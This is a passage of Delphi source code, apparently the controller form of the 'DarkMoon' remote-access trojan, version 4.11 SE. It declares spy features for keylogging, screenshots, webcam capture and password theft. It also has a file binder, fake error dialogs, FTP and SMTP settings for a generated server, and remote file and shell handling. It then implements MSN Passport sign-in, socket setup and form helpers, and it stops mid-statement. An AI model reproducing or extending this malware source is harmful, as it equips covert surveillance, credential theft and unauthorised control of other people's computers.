  675.     procedure TeButton9Click(Sender: TObject);
  676.     procedure LVRegDblClick(Sender: TObject);
  677.     procedure TeButton11Click(Sender: TObject);
  678.     procedure TeThemeSwitcherChangeTheme(Sender: TObject);
  679.     procedure tefxButton2Click(Sender: TObject);
  680.     procedure TeButton2Click(Sender: TObject);
  681.   private
  682.         MSNClient :  TTCPClient;
  683.         SBClient :  TTCPClient;
  684.   FtpClient:TSimpleTCPClient;
  685.    Client:TSimpleTCPClient;
  686.        Server:TSimpleTCPServer;
  687.     procedure MSNClientError(Sender: TObject; Error: integer; Msg: string);
  688.   procedure MSNClientConnect(Sender: TObject; Socket: TSocket);
  689.   procedure MSNClientData(Sender: TObject; Socket: TSocket);
  690.   procedure MSNClientClose(Sender: TObject; Socket: TSocket);
  691.   procedure SBClientError(Sender: TObject; Error: integer; Msg: string);
  692.   procedure SBClientConnect(Sender: TObject; Socket: TSocket);
  693.   procedure SBClientData(Sender: TObject; Socket: TSocket);
  694.   procedure SBClientClose(Sender: TObject; Socket: TSocket);
  695.  procedure FtpClientConnected(Sender: TObject);
  696.  procedure FtpClientDisconnected(Sender: TObject);
  697.  procedure FtpClientRead(Sender: TObject; Stream: TStream);
  698.  procedure FtpClientError(Sender: TObject; Socket,
  699.       ErrorCode: Integer; ErrorMsg: String);
  700.  procedure ClientConnected(Sender: TObject);
  701.  procedure ClientDisconnected(Sender: TObject);
  702.  procedure ClientRead(Sender: TObject; Stream: TStream);
  703.  procedure ClientError(Sender: TObject; Socket,
  704.       ErrorCode: Integer; ErrorMsg: String);
  705.  procedure ServerError(Sender: TObject; Socket, ErrorCode: Integer;
  706.       ErrorMsg: String);
  707.  procedure ServerAccept(Sender: TObject; Client: TSimpleTCPClient;
  708.       var Accept: Boolean);
  709.  procedure ServerClientConnected(Sender: TObject;
  710.       Client: TSimpleTCPClient);
  711.  procedure ServerClientDisconnected(Sender: TObject;
  712.       Client: TSimpleTCPClient);
  713.  procedure ServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
  714.       Stream: TStream);
  715.     { Private declarations }
  716.   public
  717.     { Public declarations }
  718.     
  719.         KServer:TSimpleTCPServer;
  720.         KClient:TSimpleTCPClient;
  721.  procedure KClientConnected(Sender: TObject);
  722.  procedure KClientDisconnected(Sender: TObject);
  723.  procedure KClientRead(Sender: TObject; Stream: TStream);
  724.  procedure KClientError(Sender: TObject; Socket,
  725.       ErrorCode: Integer; ErrorMsg: String);
  726.            procedure KServerError(Sender: TObject; Socket, ErrorCode: Integer;
  727.       ErrorMsg: String);
  728.     procedure KServerAccept(Sender: TObject; Client: TSimpleTCPClient;
  729.       var Accept: Boolean);
  730.     procedure KServerClientConnected(Sender: TObject;
  731.       Client: TSimpleTCPClient);
  732.     procedure KServerClientDisconnected(Sender: TObject;
  733.       Client: TSimpleTCPClient);
  734.       procedure KServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
  735.       Stream: TStream);
  736.       
  737.         procedure WndProc(Var TheMsg: TMessage);
  738.      function TracePath(Node : TTreeNode):string;
  739.      procedure hideforms;
  740.     PROCEDURE LoadLanguage(name: string);
  741.   end;
  742. const
  743. WM_MSN = $0400 + 60;
  744. WM_SB = $0400 + 70;
  745. DMVersion = '4.11 SE' ;
  746. var
  747.   frmMain: TfrmMain;
  748.   MainParm1, MainParm2, MainParm3 : string;
  749.   SINConnected : integer;
  750.          blah : HICON;
  751.   TrayIcon : TNotifyIconData;
  752.   USER, PASS,FTP,PORT,DIR,FileDarkMoon,BinderFile,SetupIP,SetupSMTP ,SetupEMAIL: string   ;
  753.   fakeerrorTitle,  fakeerrorMessage : string;
  754.    fakeerrorIcon,  fakeerrorStyle : integer;
  755.    currentClient : integer;
  756.    wVersionRequested  : WORD ;
  757. inn : IN_ADDR ;
  758. nErrorStatus : integer;
  759.    wsa_Data  : WSADATA;
  760. SocketMSN : TSocket;
  761. socketSB : TSocket;
  762.    MSNaddr : SOCKADDR_IN; // Internet address
  763. MSNaddrserver : SOCKADDR_IN; // Internet address
  764.   SBaddr : SOCKADDR_IN; // Internet address
  765.   SBaddrserver : SOCKADDR_IN; // Internet address
  766.       buf:ansistring;
  767.   con1:boolean;
  768.   loginhost: string = '';
  769.   Step : integer;
  770.    MSN_COUNTID : integer;
  771.     SB_AUTH1  : string;
  772.      SB_AUTH2 : string;
  773.      MSN_Client : boolean;
  774.      MSN_EMAIL : string;
  775.      MSN_PASS : string  ;
  776.      MSN_Active : string;
  777.      id : cardinal;
  778.     act : integer;
  779.     MSN_TIP  : String;
  780.     MSN_TPORT : String ;
  781.     LanguageID : integer;
  782.      RootNode : TTreeNode;
  783.      ConnectedIP : string;
  784.      UploadFileSource : string;
  785.      DownloadFileSource : string;
  786.      RemoteFilePath : string;
  787.      ServerSystemPath : string;
  788.      ServerExtention : string;
  789.      tempClientSocket :    TSimpleTCPClient;
  790.     ServerPassword : string;
  791.      typeconnection : integer;
  792.      CurrentSocket : integer;
  793.   count : integer;
  794.   var
  795. Myfile : TIniFile;
  796.    LData : array[0..999] of string;
  797. implementation
  798. uses     UHelp, UfrmShell, UfrmCapture;
  799. {$R *.dfm}
  800. procedure ExtractResourceToFile( ResName, ResExtract: String);
  801. var
  802.   ResourceLocation: HRSRC;
  803.   cFileHandle, cResourceDataHandle: THandle;
  804.   cResourceSize, cBytesWritten: Longword;
  805.   cRecourcePath, cResourcePointer: PChar;
  806. begin
  807.   cRecourcePath := PChar( ResExtract );
  808.   ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  809.   cResourceSize := SizeofResource(HInstance,ResourceLocation);
  810.   cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  811.   cResourcePointer := LockResource(cResourceDataHandle);
  812.   cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  813.   WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  814.   CloseHandle( cFileHandle );
  815. end;
  816. procedure putMessage(s : string);
  817. begin
  818.     frmMain.MainMsg.ShowMessagePos(s,frmMain.Left + (frmMain.Width div 3),frmMain.Top+ (frmMain.Height div 3));
  819. end;
  820.  function ReadMWord(f: TFileStream): word;
  821. type
  822.   TMotorolaWord = record
  823.     case byte of
  824.       0: (Value: word);
  825.       1: (Byte1, Byte2: byte);
  826.   end;
  827. var
  828.   MW: TMotorolaWord;
  829. begin
  830.   { It would probably be better to just read these two bytes in normally }
  831.   { and then do a small ASM routine to swap them.  But we aren't talking }
  832.   { about reading entire files, so I doubt the performance gain would be }
  833.   { worth the trouble. }
  834.   f.Read(MW.Byte2, SizeOf(Byte));
  835.   f.Read(MW.Byte1, SizeOf(Byte));
  836.   Result := MW.Value;
  837. end;
  838.  procedure GetJPGSize(const sFile: string; var wWidth, wHeight: word);
  839. const
  840.   ValidSig : array[0..1] of byte = ($FF, $D8);
  841.   Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7];
  842. var
  843.   Sig: array[0..1] of byte;
  844.   f: TFileStream;
  845.   x: integer;
  846.   Seg: byte;
  847.   Dummy: array[0..15] of byte;
  848.   Len: word;
  849.   ReadLen: LongInt;
  850. begin
  851.   FillChar(Sig, SizeOf(Sig), #0);
  852.   f := TFileStream.Create(sFile, fmOpenRead);
  853.   try
  854.     ReadLen := f.Read(Sig[0], SizeOf(Sig));
  855.     for x := Low(Sig) to High(Sig) do
  856.       if Sig[x] <> ValidSig[x] then ReadLen := 0;
  857.     if ReadLen > 0 then
  858.     begin
  859.       ReadLen := f.Read(Seg, 1);
  860.       while (Seg = $FF) and (ReadLen > 0) do
  861.       begin
  862.         ReadLen := f.Read(Seg, 1);
  863.         if Seg <> $FF then
  864.         begin
  865.           if (Seg = $C0) or (Seg = $C1) then
  866.           begin
  867.             ReadLen := f.Read(Dummy[0], 3); { don't need these bytes }
  868.             wHeight := ReadMWord(f);
  869.             wWidth := ReadMWord(f);
  870.           end else begin
  871.             if not (Seg in Parameterless) then
  872.             begin
  873.               Len := ReadMWord(f);
  874.               f.Seek(Len-2, 1);
  875.               f.Read(Seg, 1);
  876.             end else
  877.               Seg := $FF; { Fake it to keep looping. }
  878.           end;
  879.         end;
  880.       end;
  881.     end;
  882.   finally
  883.     f.Free;
  884.   end;
  885. end;
  886. procedure TfrmMain.hideforms   ;
  887. begin
  888. gb2.Visible:=false;
  889. gb3.Visible:=false;
  890. gb5.Visible:=false;
  891. gb6.Visible:=false;
  892. gb7.Visible:=false;
  893. gb8.Visible:=false;
  894. gb9.Visible:=false;
  895. gbMSN.Visible:=false;
  896. gbSkinManager.Visible:=false;
  897. gbSpyKeylogger.Visible:=false;
  898. gbSpyScreenshot.Visible:=false;
  899. gbSpyWebcam.Visible:=false;
  900. gbspyprocesses.Visible:=false;
  901. gbWindows.Visible:=false;
  902. gbConsole.Visible:=false;
  903. gbMSGs.Visible:=false;
  904. gbRegEdit.Visible:=false;
  905. gbINF.Visible:=false;
  906. gbPasswords.Visible:=false;
  907. gbSkinManager.Visible:=false;
  908. gbAdmin.Visible:=false;
  909. gbFun.Visible:=false;
  910. gbSearch.Visible:=false;
  911. gbServices.Visible:=false;
  912. gbOnlineEditor.Visible:=false;
  913. gbWebServer.Visible:=false;
  914. gbShutDown.Visible:=false;
  915. end;
  916.   procedure  SendMSNData (COMD : string;PARM :string);
  917.  begin
  918.  MSN_COUNTID:=MSN_COUNTID + 1  ;
  919.     frmmain.MSNClient.Write(COMD +   ' ' +  inttostr(MSN_COUNTID) + ' ' +PARM + #13#10);
  920.  end;
  921.   function sslget(url,chal:string):string;
  922. var
  923.   NetHandle,UrlHandle: HINTERNET;
  924.   Buffer: array[0..4095] of Char;
  925.   auth,username,password:string;
  926.   dummy,kk: dWord;
  927. begin
  928.     password:=MSN_PASS;
  929.      username:=MSN_Email; // Get username and changes @ into %40
  930.      username:=copy(username,1,pos('@',username)-1)+'%40'+copy(username,pos('@',username)+1,222);
  931.      if chal<>'' then auth:='Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='+username+',pwd='+password+','+chal;
  932.     frmMain.Memo1.Lines.Add('WININET: ' + url);
  933.     frmMain.Memo1.Lines.Add ('WININET: '+ auth);
  934.      NetHandle := InternetOpen('MSMSGS', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_UI + INTERNET_FLAG_PRAGMA_NOCACHE + INTERNET_FLAG_SECURE);
  935.      UrlHandle := InternetOpenUrl(NetHandle, PChar(url), pchar(auth), dword(-1), INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_AUTO_REDIRECT, 0);
  936.      FillChar(Buffer, SizeOf(Buffer), 0);
  937.      kk:=SizeOf(Buffer);
  938.      dummy:=0;
  939.      HttpQueryInfo(UrlHandle,HTTP_QUERY_RAW_HEADERS_CRLF,@Buffer,kk,dummy);
  940.      result:=buffer;
  941.      InternetCloseHandle(UrlHandle);
  942.      InternetCloseHandle(NetHandle);
  943.       frmMain.Memo1.Lines.Add (result);
  944. end;
  945. function fesauth(chal:string):string;
  946. begin
  947.  if loginhost='' then begin // We must find the login server
  948.         loginhost:=sslget('https://nexus.passport.com/rdr/pprdr.asp',''); // Tells us what the login server is
  949.         delete(loginhost,1,pos('DALogin=',loginhost)+7); // Server is after DALogin=
  950.         loginhost:='https://'+copy(loginhost,1,pos(',',loginhost)-1); // We add "https://" to the address
  951.      end;
  952.      result:=sslget(loginhost,chal); // Connect to login server
  953.      while pos('Location: ',result)>0 do begin // Loop here if server redirects us
  954.         result:=copy(result,pos('Location: ',result)+10,22222);
  955.         result:=copy(result,1,pos(#13,result)-1);
  956.         result:=sslget(result,chal); // result = address we're been redirected (begins with https://)
  957.      end;
  958.      if pos('da-status=success',result)>0 then begin // we succeeded
  959.         delete(result,1,pos('from-PP=',result)+8); // Get the "blahblahblah" of "from-PP='blahblahblah'
  960.         result:=copy(result,1,pos('''',result)-1); // result = our passport auth :)
  961.      end
  962.      else begin // we failed
  963.           delete(result,1,pos('cbtxt=',result)+5); // get error message
  964.           showmessage(result); // show it (should be de-escaped)
  965.           result:='';
  966.      end;
  967. end;
  968. procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
  969. var
  970.   RC: integer;
  971. begin
  972.   if Socket <> INVALID_SOCKET then
  973.     begin
  974.        WSAASyncSelect(Socket, Handle, wMsg , 0);
  975.       if shutdown(Socket, 1) <> 0 then
  976.         if WSAGetLastError <> WSAENOTCONN then
  977.           begin
  978.            // SocketError(WSAGetLastError);
  979.             Exit;
  980.           end;
  981.       if closesocket(Socket) <> 0 then
  982.        // SocketError(WSAGetLastError)
  983.       else
  984.         Socket:= INVALID_SOCKET;
  985.     end;
  986. end;
  987.         procedure CreateSocketSB ;
  988. begin
  989.      SocketClose ( SocketSB ,frmMain.Handle,  WM_SB);
  990.    {--------------We have to create a socket for ftp Commands Client------------- }
  991.   SocketSB  := socket(AF_INET, SOCK_STREAM, 0);
  992.   if (SocketSB <> INVALID_SOCKET)   THEN BEGIN
  993.   SBaddr.sin_family := AF_INET;
  994.   SBaddr.sin_port := 0;
  995.  SBaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  996.   end;
  997.  if (bind(SocketSB ,SBaddr,sizeof(SBaddr))= INVALID_SOCKET ) then begin
  998.  halt;
  999.  end;
  1000.  if (WSAAsyncSelect(SocketSB, FrmMain.Handle, WM_SB, FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  1001.  halt;
  1002.  end;
  1003. end;
  1004.     procedure CreateSocketMSN ;
  1005. begin
  1006.      SocketClose ( SocketMSN ,frmMain.Handle,  WM_MSN);
  1007.    {--------------We have to create a socket for MSN Connection------------- }
  1008.    SocketMSN  := socket(AF_INET, SOCK_STREAM, 0);
  1009.   if ( SocketMSN <> INVALID_SOCKET)   THEN BEGIN
  1010.  MSNaddr.sin_family := AF_INET;
  1011. MSNaddr.sin_port := 0;
  1012.  MSNaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  1013.   end;
  1014.  if (bind( SocketMSN , MSNaddr,sizeof( MSNaddr))= INVALID_SOCKET ) then begin
  1015.  halt;
  1016.  end;
  1017.  if (WSAAsyncSelect( SocketMSN, FrmMain.Handle, WM_MSN , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  1018.  halt;
  1019.  end;
  1020. end;
  1021.        procedure itemexits(text : string);
  1022.         var
  1023.         count : integer;
  1024.        begin
  1025.           for count :=0 to frmmain.lvMSN.Items.Count -1 do begin
  1026.               if    frmmain.lvMSN.Items.Item[count].Caption=text then begin
  1027.                 frmmain.lvMSN.Items.Item[count].Delete;
  1028.                 exit;
  1029.               end;
  1030.           end;
  1031.        end;
  1032.    procedure CHG;
  1033.    var
  1034.      MyList : TListItem;
  1035.      count : integer;
  1036. begin
  1037. sleep(5000);
  1038.  SENDMSNDATA( 'CHG','NLN 0');
  1039.      sleep (2000);
  1040.     frmmain.Memo1.Text:= replace (frmmain.Memo1.Text,'ILN','